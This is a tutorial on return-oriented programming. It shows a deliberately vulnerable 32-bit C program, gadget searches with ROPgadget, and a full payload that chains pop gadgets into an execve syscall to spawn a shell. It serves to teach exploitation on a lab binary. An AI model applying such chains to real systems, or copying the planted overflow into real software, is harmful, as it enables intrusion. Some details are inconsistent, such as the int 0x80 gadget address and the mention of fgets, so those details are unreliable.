Static
Return Oriented Programming is a technique in which we use existing small snippets of assembly code/gadgets to create a chain of instructions which will eventually spawn a shell or cause the program to do some complex things. This is method is usually employed when there is a Stack buffer overflow and there are no win
or give_shell
functions. So we use ROP to invoke system
or an execve syscall
.
Its called ROP
as the basic idea of the technique is to use the ret statement to change control flow of the program. We use a tool called ROPgadget for finding gadgets. Another tool used for the same is ropper
/*gcc -m32 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
char * str = "/bin/sh";
#define BUFFSIZE 136
void vuln(){
char buffer[BUFFSIZE];
read(0,buffer,0x200);
}
int main(){
vuln();
}
Note
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=58db790a742bb1b283bc3301fa309bf5f4e23b27, not stripped
Looking into the given source code we can see that there is an overflow in the vuln()
function. The defined BUFFSIZE
is 136
while the fgets()
function takes an input of 0x200
bytes. From the output of the file
command we can see that the binary is 32 bit and also that its statically linked. So we cannot exploit the binary using ret2System. This is where we use ROP and make an execve syscall to spawn a shell on the remote server.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
NX
bit is enabled. For making the ROPchain we need to find gadgets. For this we use ROPgadget.
x86 syscall Table Referring this we can see that for making an execve syscall we need the value 0x0b
in the EAX
register and that the arguments has to be provided in the EBX
register.
ROPgadget --binary <binary_name>
grep
command can be used to filter out the gadgets of our choice.
0x08048f44 <+9>: mov DWORD PTR [esp+0x8],0x200
0x08048f4c <+17>: lea eax,[ebp-0x88]
0x08048f52 <+23>: mov DWORD PTR [esp+0x4],eax
0x08048f56 <+27>: mov DWORD PTR [esp],0x0
0x08048f5d <+34>: call 0x8053d20 <read>
From this snippet it can be seen that the offset of the buffer from RBP
is 0x88
bytes. So our payload should be of the form:
'A'*0x88 + 'JUNK' + ROPchain
.
__________________
| BUFFER (0x88) | <- 'A'*0x88
| SAVED EBP | <- 'JUNK'
| SAVED EIP | <- ROPchain start
__________________
We only need to have values in the EAX
and EBX
registers. The first step is to put the argument correctly in the EBX
register. After setting a breakpoint and running the binary we used the find
command in gdb-peda to find if the string /bin/sh
is present in the binary.
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
vuln : 0x80cbf4f ("/bin/sh")
We find out that we have "/bin/sh" at address 0x80cbf4f
. So we can pop this address into the EBX
register. For popping this value into EBX
we use the pop ebx ; ret
gadget. To find the gadgets of that type we run the ROPgadget --binary vuln | grep "pop ebx ; ret"
command.
Going through the output of this command we can find :
0x080481ec : pop ebx ; ret
Now we have the pop ebx gadget. Next we have to clear the registers ECX
and EDX
. Similar to how we found the pop ebx
gadget we find pop ecx
and pop edx
gadgets. We find those gadgets at addresses 0x080e3c2a
and 0x080551ca
respectively.
0x080e3c2a : pop ecx ; ret
0x080551ca : pop edx ; ret
The final step is to put the value 0x0b
into the EAX
register. We use the pop eax ; ret
gadget to pop this value into the designated register. Searching for the gadget we find that it's present at the address 0x080c28c6
.
0x080c28c6 : pop eax ; ret
Finally we need the int 0x80
syscall for calling execve. The command ROPgadget --binary vuln | grep "int 0x80"
can be used to find the address of the syscall gadget.
0x08049449 : int 0x80
Combining all this we get the final ROPchain as:
bin_sh_addr = 0x80cbf4f
int_call = 0x0805596f
pop_eax = 0x080c28c6
pop_ebx = 0x080481ec
pop_ecx = 0x080e3c2a
pop_edx = 0x080551ca
payload = ''
payload += 'a'*140
payload += p32(pop_ebx)
payload += p32(bin_sh_addr)
payload += p32(pop_ecx)
payload += p32(0x00)
payload += p32(pop_edx)
payload += p32(0x00)
payload += p32(pop_eax)
payload += p32(0x0b)
payload += p32(int_call)
Note
If "/bin/sh" is not found in the binary we have to either read that to bss and use that address or we could push the string onto stack 4 bytes at a time and then push esp ; pop ebx will get a stack address pointing to /bin/sh into ebx.